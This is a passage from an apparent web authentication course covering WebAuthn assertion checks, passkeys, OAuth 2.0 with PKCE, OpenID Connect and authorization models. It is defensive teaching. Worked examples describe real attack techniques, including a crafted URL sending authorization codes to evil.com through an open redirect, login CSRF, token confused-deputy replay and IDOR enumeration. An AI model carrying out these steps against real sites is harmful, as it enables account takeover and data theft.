Verification is a checklist, and every line of it is load-bearing.

const clientData = JSON.parse(new TextDecoder().decode(response.clientDataJSON));

if (clientData.type !== "webauthn.get") throw new Error("wrong ceremony type");
if (clientData.origin !== "https://example.com") throw new Error("wrong origin");
if (!equalBytes(fromBase64url(clientData.challenge), storedChallenge)) throw new Error("bad challenge");

const authData = new Uint8Array(response.authenticatorData);
const expectedRpIdHash = new Uint8Array(
  await crypto.subtle.digest("SHA-256", new TextEncoder().encode("example.com"))
);
if (!equalBytes(authData.slice(0, 32), expectedRpIdHash)) throw new Error("wrong rpId");

const flags = authData[32];
if (!(flags & 0x01)) throw new Error("user not present");
if (!(flags & 0x04)) throw new Error("user not verified");

const clientDataHash = new Uint8Array(
  await crypto.subtle.digest("SHA-256", response.clientDataJSON)
);
const signed = new Uint8Array(authData.length + 32);
signed.set(authData, 0);
signed.set(clientDataHash, authData.length);

const ok = await crypto.subtle.verify(
  { name: "ECDSA", hash: "SHA-256" },
  storedPublicKey,
  rawSignature,
  signed
);

Three practical notes that cost people hours.

The origin comparison is exact string equality, not a suffix check. https://example.com and https://example.com:8443 are different origins, and endsWith("example.com") accepts https://evil-example.com, which is the whole attack.

The rpIdHash check is separate from the origin check and both are needed. The origin says where the page was; the rpIdHash says which relying party the authenticator believed it was signing for.

Web Crypto wants a raw signature and WebAuthn gives DER. An ES256 signature arrives ASN.1 DER encoded, typically 70 to 72 bytes, while crypto.subtle.verify expects the raw 64-byte concatenation of r and s. You must unwrap the DER structure, strip the leading zero bytes that DER adds to keep integers positive, and left-pad each of r and s to exactly 32 bytes. Skipping this gives a verification that fails on every input, and the usual reaction is to suspect the signature base, which is correct code.

Finally, the challenge is consumed here whether verification succeeded or failed, so a failed attempt cannot be retried against the same challenge.

Example. A user with a passkey for example.com is phished by a page on examp1e.com that is a pixel-perfect copy and calls navigator.credentials.get with a challenge it relayed from the real site. What happens?

Nothing usable, and it fails twice over. First, the browser will not offer the credential at all: the credential is scoped to the relying party example.com, and a page on examp1e.com cannot set rpId to a domain that is not a registrable suffix of its own, so the request either errors or finds no matching credential. Second, even supposing a signature were somehow produced, the browser would write "origin": "https://examp1e.com" into the client data, the authenticator would sign that, and the real server's exact-equality origin check would reject it. The user typed nothing, so there was nothing to give away.

Now you. A developer cannot get verification to pass and "fixes" it by changing the origin check to clientData.origin.endsWith("example.com"). What have they enabled?

Answer

They have accepted any origin whose host ends with those characters, including https://evil-example.com and https://example.com.attacker.net, both of which an attacker can register. That undoes the origin binding, which was the whole reason to use WebAuthn. Note that the browser's own rpId rule still stands in the way in most scenarios, so this is not immediately exploitable on its own, and it removes one of the two independent defences and leaves the design resting on a single check. The real bug is almost always the DER to raw signature conversion, and the correct fix is exact string equality against a fixed list of expected origins.

Discoverable credentials and signing in with no username

A non-discoverable credential stores nothing on the authenticator. The credential ID handed back at registration encodes the key, wrapped under a secret the authenticator holds, so the server must send that ID in allowCredentials for the authenticator to work out which key to use. That means the user has to identify themselves first, so the flow is username, then key.

A discoverable credential, formerly called a resident key, is stored on the authenticator with the relying party and user handle beside it. Now the server can send an empty allowCredentials, the browser shows the user which accounts it holds for this site, and the response comes back with userHandle saying who signed in. The user typed nothing at all: no username, no password.

That is what people mean by a passkey login, and it changes what your server must handle. Look up the account by userHandle rather than by a form field, be ready for a user with several passkeys, and keep a path for a user whose authenticator holds nothing for this site.

The cost is storage. Authenticators have limited room for discoverable credentials, particularly older hardware keys, which may hold only twenty-five or so. Platform authenticators backed by a cloud account do not have this problem in any practical sense.

Example. A site sets residentKey: "required" and userVerification: "required", and an auditor asks whether this counts as multi-factor authentication. What is the honest answer?

Yes, in one gesture, and it is worth being precise about the two factors. Something you have is the authenticator holding the private key, proven by a signature no other device can produce. Something you are or know is the biometric or PIN that unlocked it, reported by the UV flag. The server confirms the second by checking that flag, which is why userVerification: "preferred" would not do: with preferred, an authenticator may return UP without UV, and the server would be accepting a single factor while believing it had two. If UV matters, require it in the options and check the bit on arrival.

Now you. A synced passkey is backed up to the user's platform account. What does that do to the "something you have" claim?

Answer

It weakens it, honestly. The private key is now recoverable on any device the user signs into with that platform account, so "something you have" has become "something the platform account controls", and the account's own security becomes part of yours. In exchange the credential survives a dropped phone, which is what makes passkeys deployable to ordinary users at all. The BE and BS flags tell you which kind you have received, so a service with a genuine need for hardware-bound credentials can require BE to be clear and accept the recovery burden that follows.

Attestation, counters, and the honest limits

Attestation is the authenticator's statement about what it is, signed by a manufacturer key: this is a genuine YubiKey 5, this is Apple hardware. Requesting attestation: "direct" returns it, and verifying it means maintaining a trust store of manufacturer roots, typically the FIDO Metadata Service, and deciding which models you accept.

Almost no site should do this. It buys the ability to insist that credentials live on approved hardware, which matters to a government agency or a bank with a regulatory model list and to almost nobody else. It costs a trust store to maintain, a source of registration failures when a user's perfectly good authenticator is not on the list, and a privacy problem, since attestation carries an AAGUID identifying the model, which is a tracking vector the specification deliberately mitigates. Use attestation: "none" unless you can name the requirement.

The signature counter was designed as clone detection: the authenticator increments it on each assertion, the server stores the last value, and a value that fails to increase suggests two copies of the same credential in circulation. It has largely stopped working. Synced passkeys generally report zero every time, because a credential existing on several devices at once cannot maintain a single counter, and the specification permits it. So: if the stored counter and the new one are both zero, learn nothing; if the stored one is non-zero and the new value does not exceed it, that is a real signal worth acting on. Treat it as an occasionally useful alarm rather than a control.

Three more limits, since the point of this course is to name them.

Recovery is the hard part, and it is unchanged. A passkey removes the phishable secret and does not remove the need for a way back in when every device is lost. If that way back is an emailed link, the account's true strength is the mailbox, exactly as before. This is the single most common way a passkey deployment is undermined.

A stolen session is still a stolen session. WebAuthn authenticates the moment of login. Everything after it is the cookie from the third lesson, with all the same exposure to XSS. Passkeys do not make the earlier lessons unnecessary.

Device compromise is still device compromise. Malware on an unlocked machine can wait for the user to authenticate and then act inside the session. The private key is safe and the session is not.

What passkeys do is remove the phishable secret, which is the largest remaining category of real account takeover. That is a substantial win and not a complete one.

What this does not cover

Everything so far concerns credentials your site issues and verifies: passwords you store, sessions you mint, keys you register. There is another case entirely, which is a user who already has an account somewhere else and would rather not create one with you.

Delegating to a provider the user already trusts means letting a third party do the authenticating and tell you the result. That requires a protocol for asking, a way to be sure the answer came from the provider and was meant for you, and defences against an attacker who tampers with the round trip. That protocol is OAuth 2.0, with OpenID Connect on top, and it is next.

OAuth 2.0 and OpenID Connect

Sometimes the right answer is not to authenticate the user at all, but to ask somebody who already has.

Every lesson so far concerned credentials your site owns. This one is about a user who already has an account elsewhere and would rather not make another. If you have arrived here directly, the ideas you need are that a JWT is a signed and readable token whose claims must be checked rather than trusted, and that a redirect carrying a secret in its URL is a credential in transit.

Four roles, and what each is trusted with

OAuth 2.0 names four parties, and most confusion about the protocol comes from blurring them.

The resource owner is the user. They own the data and they are the only party who can grant access to it.

The client is your application. It wants something, and the entire design treats it as untrusted: it never sees the user's password, it receives only what was granted, and the protocol assumes it may be buggy or hostile.

The authorization server is the provider that authenticates the user and issues tokens. Google's or GitHub's login pages are this. It is the only party that ever sees the password.

The resource server holds the data and accepts access tokens. Often the same organisation as the authorization server, and logically separate.

The problem this solves is worth stating in its original form, because it explains the shape. Before OAuth, letting a service read your mail meant giving it your mail password: full access, forever, revocable only by changing the password, and revoking it broke everything else you had done the same way. OAuth replaces that with a token that is scoped, expiring and individually revocable. Everything awkward about the protocol follows from never letting the client see the password.

Note what OAuth 2.0 is not. It is an authorization framework: it produces a token saying what the bearer may do. It says nothing about who anybody is. Using it for login means adding a layer that does, which is what OpenID Connect is, and the sixth section is about the attacks that come from missing this distinction.

The authorization code flow

One flow matters. The others are deprecated, and RFC 9700, the current security best current practice, says so.

Step one, the client redirects the user's browser to the authorization server.

https://accounts.example.com/authorize
  ?response_type=code
  &client_id=abc123
  &redirect_uri=https://app.example.com/callback
  &scope=openid%20email
  &state=BqVc8Kk1sQ2wLh0nZbTt5Q
  &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
  &code_challenge_method=S256

Step two, the user authenticates and consents, entirely at the authorization server. Your application sees none of it.

Step three, the authorization server redirects back to the registered redirect_uri with ?code=SplxlOBeZQQ&state=BqVc8Kk1sQ2wLh0nZbTt5Q.

Step four, the client exchanges the code in a direct back-channel POST, server to server, which the browser never sees:

const res = await fetch("https://accounts.example.com/token", {
  method: "POST",
  headers: { "content-type": "application/x-www-form-urlencoded" },
  body: new URLSearchParams({
    grant_type: "authorization_code",
    code,
    redirect_uri: "https://app.example.com/callback",
    client_id: "abc123",
    client_secret: SECRET,          // confidential clients only
    code_verifier: verifier
  })
});
const { access_token, refresh_token, id_token } = await res.json();

The reason for the two steps is that the front channel, the browser redirect, is visible: URLs land in browser history, in server logs, in Referer headers. So the front channel carries only a short-lived, single-use code that is worthless without the back-channel exchange, and the tokens themselves travel over a direct TLS connection between two servers.

This is also why the implicit flow, which returned the access token straight in the redirect fragment, is dead. It put the token in the URL bar for the sake of clients that could not keep a secret, and PKCE solved that problem properly.

PKCE, and the code interception it stops

The code in the redirect is a bearer secret in a URL, and on a mobile device a malicious application could register the same custom URL scheme as the legitimate one and receive it. With a public client, one that ships no secret because anything in a browser bundle or a mobile binary is not secret, the attacker could then exchange the intercepted code for real tokens.

PKCE, RFC 7636, pronounced "pixy", fixes it by making the exchange require something only the original requester knows.

The client generates a code verifier, a random string of 43 to 128 characters from the unreserved URL set. Thirty-two random bytes base64url encoded gives exactly 43 characters and 256 bits, which is the sensible construction. It then sends only the code challenge, the base64url of the SHA-256 of the verifier, with the authorization request. At the token exchange it sends the verifier itself, and the authorization server hashes it and compares.

const bytes = new Uint8Array(32);
crypto.getRandomValues(bytes);
const verifier = bytes.toBase64({ alphabet: "base64url" });

const digest = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(verifier));
const challenge = new Uint8Array(digest).toBase64({ alphabet: "base64url" });

An attacker who intercepts the code has the challenge, from the URL they were watching, and cannot invert SHA-256 to get the verifier, so the exchange fails. PKCE is required for public clients and recommended for all of them, including confidential ones, because it also stops authorization code injection, where an attacker gets a victim to complete a flow using a code the attacker obtained.

Example. RFC 7636 gives the verifier dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk. Compute the challenge and check the length of both.

The verifier is 43 characters, the minimum the specification allows and the natural length of 32 base64url-encoded bytes. SHA-256 of the ASCII bytes of that string, base64url encoded without padding, is E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM, which is also 43 characters, since SHA-256 output is likewise 32 bytes. Both are 256 bits. Run the snippet above against this pair before trusting your implementation, exactly as with the TOTP vectors.

Now you. PKCE permits code_challenge_method=plain, where the challenge is the verifier unchanged. When is that safe, and what should a server do about it?

Answer

Almost never, and it exists only for clients that genuinely cannot compute SHA-256. With plain the challenge in the authorization URL is the verifier, so an attacker who can see the front channel, which is the exact attacker PKCE was written for, reads it and completes the exchange. It provides nothing against interception, only against an attacker who sees the code and not the authorization request. An authorization server should reject plain outright, and a client should never offer it. RFC 9700 says S256 is required where the client can support it, and every JavaScript runtime can.

Securing the round trip: state and the redirect URI

state is an opaque value the client generates, sends with the authorization request, and checks on the way back. It is CSRF protection for the callback, and the attack it stops is worth spelling out because it runs backwards from the usual one.

The attacker starts a legitimate OAuth flow with their own account at the provider, stops at the point where they hold a valid authorization code, and then causes the victim's browser to visit https://app.example.com/callback?code=<attacker's code>. If the client accepts it, the victim's session at your application is now linked to the attacker's provider account. Anything the victim subsequently saves, uploads or pays for lands in an account the attacker controls, and the attacker signs in through the provider whenever they like.

state stops it because the value is generated per attempt, bound to the victim's browser session, and checked on return. The attacker's crafted callback carries either no state or one from their own flow, and neither matches what the victim's session stored. Generate 32 random bytes, store it server side against the session, compare on return, and consume it.

A closely related attack is the mix-up, where a client supporting several providers is tricked into sending a code issued by one provider to another's token endpoint, potentially leaking it to an attacker-controlled authorization server. The defence is to record which provider each flow was started with, keyed by state, and to check the iss parameter that modern authorization servers return with the code.

The other half of the round trip is where the code is delivered. The redirect_uri is that address, so control of it is control of the code. The rule in RFC 9700 is unambiguous: the authorization server must compare the requested URI against the registered ones by exact string comparison, with no pattern matching, no wildcards, no prefix rules, and no ignoring of the query string.

Every relaxation of that has produced a real breach. Registering https://app.example.com/* and allowing a suffix means https://app.example.com/../evil or a path on the site that reflects a parameter becomes a delivery address. Allowing an arbitrary query string means ?redirect_uri=https://app.example.com/callback?next=https://evil.com may be forwarded onward by your own callback handler. Allowing subdomains means any subdomain takeover is an account takeover.

Then there is your own code. If your callback accepts a next or returnTo parameter and redirects to it after signing the user in, you have an open redirect, and an open redirect on a registered callback path is a code delivery mechanism for anyone who can put a URL in front of a user. Validate any post-login destination against an allowlist, or accept only paths beginning with a single / and reject anything containing // or a scheme.

Example. A provider allows a registered redirect_uri of https://app.example.com/callback and the client's callback reads a next parameter and redirects to it unchecked. Show how an attacker obtains an authorization code.

They construct an authorization URL with redirect_uri=https://app.example.com/callback exactly as registered, so the provider is satisfied, and add next=https://evil.com/collect so it survives into the callback. The victim clicks, authenticates at the provider, and is redirected to https://app.example.com/callback?code=SplxlOBeZQQ&state=...&next=https://evil.com/collect. The callback handler signs them in and then issues a redirect to https://evil.com/collect, and the browser attaches the full previous URL, code included, in the Referer header. The attacker reads the code from their own access log. Exact URI matching at the provider did not help, because the exploited redirect was the client's own.

Now you. Give two fixes for that, and say which one you would ship first.

Answer

First and immediately: validate next against an allowlist, or accept only a relative path that starts with a single / and contains no scheme and no //, which blocks both absolute URLs and protocol-relative ones. Second and structurally: do not carry the destination in the callback URL at all. Store it server side against the state value when the flow starts and read it back on return, so nothing an attacker can influence appears in the callback URL. Ship the validation first because it is a few lines and closes the hole today, then move to the state-keyed store, which removes the whole class rather than one instance of it.

Access token against ID token

Two tokens come back and they are for different audiences. Getting this wrong is the most common security bug in "Sign in with X".

The access token is a credential for the resource server. It is meant to be opaque to your application: you attach it to API calls and you do not inspect it. Its audience is the API, and it says what the bearer may do.

The ID token is a statement to your application about who the user is. It is a JWT, its audience is your client_id, it is signed by the authorization server, and it exists only because OpenID Connect added it. Its audience is you.

The dangerous pattern is using an access token as proof of identity. A client receives an access token, calls the provider's profile endpoint with it, gets back {"id": "12345", "email": "[email protected]"}, and signs the user in as 12345. The attack: a malicious client builds their own unrelated application, persuades the victim to authorise it, and receives an access token for the victim's account at the provider. They then present that access token to your application, which dutifully calls the profile endpoint, receives the victim's identity, and signs them in as the victim. Your application never checked who the token was issued to, because an access token carries no audience your code inspected.

This is known as the confused deputy, and the fix is the ID token, whose aud claim names your client and whose signature you verify. Validate it properly, every time:

Check the signature against the provider's published key set, found through the discovery document at /.well-known/openid-configuration, selecting the key by kid. Check iss equals the provider's issuer exactly. Check aud contains your client_id. Check exp has not passed, remembering it is in seconds. Check nonce matches the one you sent, which is the ID token's own replay defence and is separate from state. Only then read sub.

Example. A team accepts an access token posted from their mobile app, calls Google's userinfo endpoint with it, and signs the user in as whatever email comes back. What is the flaw and what breaks?

Any access token for that userinfo scope works, whoever issued it and whoever it was issued to. An attacker registers their own application with Google, gets a victim to authorise it under any pretext, receives an access token for the victim, and posts it to the team's endpoint. The userinfo call succeeds, returns the victim's email, and the attacker is signed in as the victim. Nothing about the token said it was minted for this application, and the code never asked. The fix is to run the authorization code flow with PKCE and validate an ID token whose aud is this application's own client ID.

Now you. After validating the ID token, the team looks the user up by the email claim and links them to an existing account with that address. What can go wrong?

Answer

Two things. Some providers issue an email claim that has never been verified, so an attacker sets their profile email at that provider to [email protected] and, if email_verified is not checked, takes over the matching local account. And email addresses change: a user who updates their address at the provider becomes a stranger to you, or worse, inherits an account belonging to whoever now holds their old address. The stable identifier is the pair of iss and sub, which the provider guarantees is unique and permanent for that user. Link on that, treat email as a display attribute, and if you do link by email, require email_verified to be true and require the user to prove control of the local account as well.

What OpenID Connect adds

OpenID Connect is a thin layer on top of OAuth 2.0 that turns an authorization protocol into an authentication one. Four additions carry it.

The openid scope, which requests the whole layer. The ID token, described above. The nonce parameter, sent with the authorization request and echoed inside the ID token, binding it to the request that asked for it. And discovery, the document at /.well-known/openid-configuration naming the endpoints, the supported algorithms and the JWKS URL, so a client configures itself from one address rather than from documentation.

The userinfo endpoint returns claims for an access token, and it is a convenience rather than a source of identity. Standard scopes profile and email request the usual claims, and providers vary in what they actually return: ask for the least you need, since a consent screen listing many scopes lowers completion and gives you data to protect.

What delegation actually delegates

"Sign in with Google" moves real work off your plate, and it is worth being exact about which work.

Delegated: password storage, password hashing, breach checks, reset flows, second factor enrolment and verification, and much of the abuse handling around all of them. That is most of the first seven lessons of this course, and it is why federated login is often the right choice for a small team.

Not delegated: everything after the ID token is validated. You still mint a session and set a cookie, so the third lesson applies in full. You still face CSRF and XSS, so the fifth does. You still decide what the user may do once signed in, which is the last lesson. And you still need account recovery for the user who loses access to their provider account, which is the flow the eighth lesson called the hard part.

Newly acquired: a dependency. If the provider is down, your users cannot sign in. If they close the user's account, or the user does, that person loses access to yours. If they change their terms or their pricing, you comply. Supporting two providers plus a local password is the usual hedge, and it brings the account linking problem from the previous exercise: the same person arriving by two routes must land in one account, and the join must be on something they proved rather than something they typed.

So delegation is a genuine reduction in work and not an escape from the subject. What it hands you at the end is an identity, a validated sub you can trust. What it never hands you is permission.

From identity to permission

Every lesson in this course has been aimed at one question: is this really who they claim to be. Passwords, sessions, tokens, second factors, passkeys and now federation are six answers to it, and by this point the answer is as strong as the state of the art allows.

The question the user's next request asks is different. They are authenticated, beyond doubt, and they have asked to delete invoice 4192. Nothing established so far says whether they may.

That check is the one that gets skipped, it is the most common serious breach on the web, and it is where the course ends.

Authorization, and the whole thing assembled

Every mechanism in this course establishes who somebody is, and none of them says what that person may do.

The previous nine lessons built a trustworthy answer to the first question. This one is about the second, and then about fitting all of it together into a working system. If you have arrived here directly, the only assumption is that a request arrives carrying a session that reliably identifies a user.

Identity is not permission

A resolved session gives you a user ID. That is the whole of it. It says nothing about whether this user may read invoice 4192, edit the team's billing settings, or export the customer list.

The failure follows from a habit rather than from ignorance. A handler is written for the case in the designer's head, which is the user looking at their own thing, and the identifier is taken from the URL because that is where it is:

// The bug, in its purest form.
app.get("/invoices/:id", async (request) => {
  const user = await requireSession(request);          // authentication: done
  const invoice = await db.invoice(request.params.id); // authorization: never happened
  return Response.json(invoice);
});

requireSession did its job perfectly. The request is authenticated. And any signed-in user can read every invoice in the system by changing a number in the URL.

This is insecure direct object reference, IDOR, and in the OWASP Top Ten it sits under broken access control, which has been the most common category in real applications for years. It is not exotic, it does not require tooling, and it is found by changing a digit.

The rule that prevents it is one line long: every request that touches a specific object must establish that this user may touch this object, on the server, from data the user did not supply.

Ownership, which is where most applications should stop

The simplest model, and the correct one for a large proportion of applications, asks a single question: does this row belong to the caller?

const invoice = await db.invoiceOwnedBy(request.params.id, user.id);
if (!invoice) return new Response("Not found", { status: 404 });

Note what changed. The ownership condition moved into the query, so there is no window in which the wrong row exists in a variable, and no chance of a later refactor dropping the check while keeping the fetch. Writing it as a fetch followed by if (invoice.userId !== user.id) also works and is more fragile, because the safe version depends on a line that can be deleted without the code failing any test that uses the owner's own data.

Note also the 404. Returning 403 on a resource that exists tells the caller it exists, which is enumeration again: an attacker walks the ID space and learns which invoices are real and roughly how many customers you have. Answer 404 for both "no such thing" and "not yours" unless the distinction is genuinely useful to a legitimate user.

Most applications never need more than this. A note-taking app, a personal finance tracker, a blog with one author: the only question ever asked is whether the row belongs to the caller. Adding roles to such a system is a cost with no benefit, and the discipline of stopping here is worth more than the flexibility of a model nobody uses.

Ownership stops being enough at a specific and recognisable moment: the first time an object has more than one legitimate accessor. A shared document, a team invoice, an administrator who must read anything to answer a support ticket. At that point the question is no longer "is it yours" but "what is your relationship to it", and you need a model.

Example. A handler reads /api/orders/:id and checks if (order.customerId !== user.id) return 403. An attacker signed in as an ordinary customer iterates IDs from 1 to 10,000. What do they learn, and how do you fix the leak without changing the model?

They learn exactly which order IDs exist, because a real order belonging to somebody else returns 403 while an absent one returns 404, and the two are distinguishable in one request each. From ten thousand requests they recover the order count, the rate of orders over time from the density of live IDs, and a target list for any other bug. The fix is to return 404 in both cases and to move the ownership condition into the query so that "not found" and "not yours" are literally the same code path. The model is unchanged; only the shape of the answer is.

Now you. A team responds to that by switching order IDs to random UUIDs, arguing that nobody can guess them so the check is unnecessary. What is wrong?

Answer

A UUIDv4 has 122 random bits and is genuinely unguessable, so blind enumeration stops. That is worth having and it is not authorization. The identifier appears in URLs, so it reaches browser history, server access logs, analytics, Referer headers on outbound links, support tickets and any message where a user pastes a link, and every one of those is a path by which a valid identifier reaches somebody who should not have it. Once it does, there is no check to stop them. Unguessable identifiers reduce the rate at which references leak; the ownership check is what makes a leaked reference harmless. Do both, and never let the first substitute for the second.

Roles, and the day somebody needs most of one

The usual second model gives each user a role, and the code asks which role they hold.

if (user.role !== "admin") return new Response("Forbidden", { status: 403 });

It is easy to write and easy to read, and for a small number of clearly separated jobs it is the right amount of structure. admin, member, viewer covers a great many products honestly.

Roles start to hurt at a moment every growing team recognises. Somebody needs most of a role. The support team must read invoices to answer questions but must not issue refunds. The content team must publish but must not manage users. Each such request has three possible answers and all of them are bad. Grant the whole role and you have given away more than intended. Create support_readonly and the role list starts growing, and it grows combinatorially: with five separable capabilities, covering every useful combination needs up to 25-1=31 roles. Or add a special case in the code, if (user.role === "admin" || (user.role === "support" && action === "read")), which is where the checks stop being auditable, because the policy now lives scattered through the handlers rather than in one place.

The diagnostic is simple. If you can list your roles on one hand and no one has asked for a variation in six months, roles are fine. If your role list has entries like admin_readonly or manager_no_billing, the model has already broken and the code is carrying the difference.

Permissions, and why retrofitting is the expensive part

The third model makes the individual right the unit. A user holds permissions such as invoice:read, invoice:refund, user:manage, and roles become names for bundles of them.

if (!user.permissions.has("invoice:refund")) return new Response("Forbidden", { status: 403 });

The support case is now a bundle: invoice:read without invoice:refund, granted by a role called support, with no new concept and no special case in the handler. Twelve resource types with four actions each is 48 permissions, and any of the many bundles anyone asks for is a row in a join table rather than a new role in the code.

Here is the part that decides the design, and it is why this section exists rather than a shrug about tradeoffs. The two models cost about the same to build and wildly different amounts to change into each other.

Starting with permissions costs a permissions table, a role-to-permission join, and a check that reads a set instead of a string. That is perhaps a day's work at the outset, and the code at each call site is the same length.

Migrating roles to permissions later costs you every call site. Each user.role !== "admin" has to be replaced by the specific right that comparison was standing in for, and working out which right that was means reading the handler and deciding, one at a time, across a codebase where the answer is sometimes "several" and sometimes "nobody knows". Every special case accumulated in the meantime has to be untangled. And it cannot be done incrementally with confidence, because a mistake in either direction is invisible: too permissive is a silent hole, and too restrictive breaks a workflow for one customer next quarter.

So the recommendation is asymmetric on purpose. If the application will plausibly ever have more than three kinds of user, start with permissions and define roles as bundles from day one. If it genuinely will not, use ownership and stop. The middle option, roles as strings compared in handlers, is the one that is cheap now and expensive exactly when you are busiest.

One refinement worth naming: in a product with teams or organisations, permissions are almost never global. The unit is a permission within a scope, so the question is not "may Ada refund invoices" but "may Ada refund invoices in organisation 12". Build the scope in from the start, because adding it later is the same migration problem again, one level deeper.

Example. An application has roles admin, editor and viewer. Product asks for a support role that can read everything and change nothing, and a billing role that can do everything with invoices and nothing else. What happens under each model?

Under roles, you add support and billing, making five, and each new handler must now enumerate which of five roles may reach it. The list grows with every request of this kind, and the checks in the handlers get longer. Under permissions, nothing structural happens: support is a bundle containing every :read permission, and billing is a bundle containing the four invoice:* permissions. The handlers are untouched, because they were already asking for a specific right. The difference is not that permissions handle this request better; it is that permissions handle the next twenty without a code change.

Now you. The team has 40 handlers, each checking user.role. Estimate honestly what a migration to permissions involves, and say what you would do first.

Answer

Forty decisions, each requiring somebody to read the handler and name the right that the role comparison was standing in for, plus every accumulated special case, plus a data migration mapping existing users to bundles, plus a period where both systems run and can disagree. The dangerous part is not the volume but that errors are silent in both directions. What to do first is not to migrate: it is to stop the growth. Introduce the permission check as the only way new handlers are written, express the existing roles as bundles so both models describe the same thing, and convert old handlers when they are touched for other reasons. That way the count of role comparisons falls monotonically and no single change is large enough to be risky.

Where the check belongs

Three answers, and they are not equivalent.

In the handler is where most applications put it, and it works so long as every handler remembers. The weakness is structural: a check that must be repeated is a check that will eventually be omitted, and the omission is invisible in review because the code that should be there simply is not.

In middleware, matched by route pattern, catches whole groups at once and is excellent for coarse decisions such as "everything under /admin requires the admin:access permission". It cannot make the fine ones, because middleware runs before the object is loaded and therefore cannot know who owns it.

In the data layer is the most reliable, and it is the pattern behind row-level security in a database and behind repository methods that take the caller as an argument. If the only way to fetch an invoice is invoices.forUser(user).byId(id), a handler that forgets the check cannot compile a query that returns somebody else's row. The check has moved from something you must remember to something you cannot avoid.

The arrangement that works in practice uses all three: middleware for coarse gates, the data layer for ownership and scope, and handlers for the specific business rules that neither can express, such as "a refund over 1,000 needs the invoice:refund_large permission".

Two rules cut across all of it. Deny by default, so a route with no policy is refused rather than allowed, which converts a forgotten check from a hole into a visible failure. And never trust the client, which includes hidden form fields, disabled buttons, a role value in a JWT the client could have obtained under different circumstances, and the absence of a link in your own interface. Hiding an action in the interface is a usability decision. The server decides.

Example. Place each of these three checks at the right layer, and say why the other layers cannot do it. First, everything under /admin requires the admin:access permission. Second, a user may read only invoices belonging to their own organisation. Third, a refund above 1,000 requires invoice:refund_large.

The first belongs in middleware, matched on the route prefix. It needs nothing but the session and the path, so it can run before anything is loaded, and putting it there means a new route under /admin is covered on the day it is added rather than on the day somebody remembers. The second belongs in the data layer, because it depends on the object, and middleware runs too early to know which organisation the invoice is in. Expressed as invoices.forOrg(user.orgId).byId(id), a handler that forgets it cannot express the unsafe query at all. The third belongs in the handler, because it depends on the request body: no route pattern and no query constraint can see that the amount is 1,001 rather than 999.

Now you. A team puts all three checks in middleware, loading the invoice there and attaching it to the request. What have they gained and what have they broken?

Answer

They gained one place to read the policy, which is genuinely valuable. What they broke is the coupling: the middleware now has to know, for every route, which parameter names an invoice, which names an organisation, and what the body means, so it grows a switch over route patterns and becomes the scattered special cases the roles section warned about, only in one file instead of forty. It also loads objects for routes that do not need them and cannot express a rule that depends on two objects at once. Keep the coarse gate in middleware where it costs nothing, and push the object-dependent rules down to the layer that already has the object.

The whole flow, assembled

Every piece of the course now has a place. Here is the complete life of an account, with the lesson each step comes from.

Sign up. Accept the email and password. Check the password against a breach corpus with the k-anonymity protocol and refuse a known-compromised one, imposing no composition rules. Hash it with Argon2id at parameters measured on your own hardware. Create the account unverified, and respond identically whether or not the address was already registered, branching in the mail instead.

Verify. Mint 32 random bytes, store the SHA-256 of it with a one-hour expiry, and mail a link that lands on a page with a button, so a mail scanner cannot consume it. On the POST, consume the token and mark the address verified.

Sign in. Look up the user, verify against a dummy hash if there is none, and return one message for both failures. Apply per-account exponential backoff before the hash runs, and watch the global failed-to-successful ratio for stuffing. On success, if a second factor is enrolled, hold a short-lived single-use intermediate state and require a TOTP code with a one-step window and replay tracking, or a WebAuthn assertion verified against the stored public key with exact origin equality. Then rotate: generate 32 random bytes, store the SHA-256, and set __Host-session with HttpOnly, Secure, SameSite=Lax, Path=/ and an absolute expiry.

Stay signed in. Resolve the session by hashing the cookie value and reading the row. Refresh idle expiry, enforce absolute expiry, check the origin on every state-changing request, and check permissions against the database rather than against anything the browser sent.

Sign out, and sign out everywhere. Delete the row, or every row for the user, and expose the device list so a person can see what is live.

Recover. One live reset at a time, a hashed single-use token expiring in under an hour, an identical response for every address. On completion, change the password, consume the token, delete every session, notify the address on file, and send the user to the login page rather than signing them in.

Change email. Require the current password, confirm the new address before switching, and notify the old one with a way to object.

Notice what is load-bearing across all of it: the secret is high entropy and stored as a hash, the response is the same whichever branch ran, the credential is consumed on use, and any change of credential ends every session. Four ideas, applied seven times.

What actually goes wrong

The failures that recur, in the order they are usually found.

No authorization check. The single most common serious breach, and the reason the last lesson of a course about authentication is about something else.

The reset flow. Guessable tokens, tokens stored in the clear, tokens that outlive their use, resets that do not end other sessions.

Trusting the client. A role in a JWT, a hidden field, a price in a form body, an interface that hides a button and a server that does not check.

Wrong tool for the secret. A fast hash on a password, an encrypted value where a MAC was needed, encoding mistaken for encryption, === on a secret.

Cookie attributes. A missing HttpOnly, a Domain that hands the session to every subdomain, no absolute expiry.

Escaping at the wrong layer, or in the wrong context. Sanitising on input, escaping HTML into a script block, an unquoted attribute.

Rate limiting the wrong key. Per IP against an attacker with fifty thousand addresses, and a lockout that becomes the attacker's tool.

Recovery weaker than the thing it recovers. Recovery codes hashed with SHA-256, SMS that resets a hardware key, a mailbox that outranks a passkey.

Verification that stops at the signature. A JWT whose aud is unread, a WebAuthn response whose origin is matched by suffix, an ID token trusted because the userinfo call succeeded.

Every one of those is a specific check in a specific place, and every one of them has appeared in this course with the reasoning attached. That is the point of deriving rather than memorising: a checklist tells you what to do on the day you read it, and the reasoning tells you what to do when the situation is one nobody wrote down.

The last thing worth saying is that a system built this way is not finished, because none is. What it is, is a system where each decision was made deliberately, its cost is written down, and the person who arrives next can see why. That is what holding up actually means.

Web Auth, from libre.university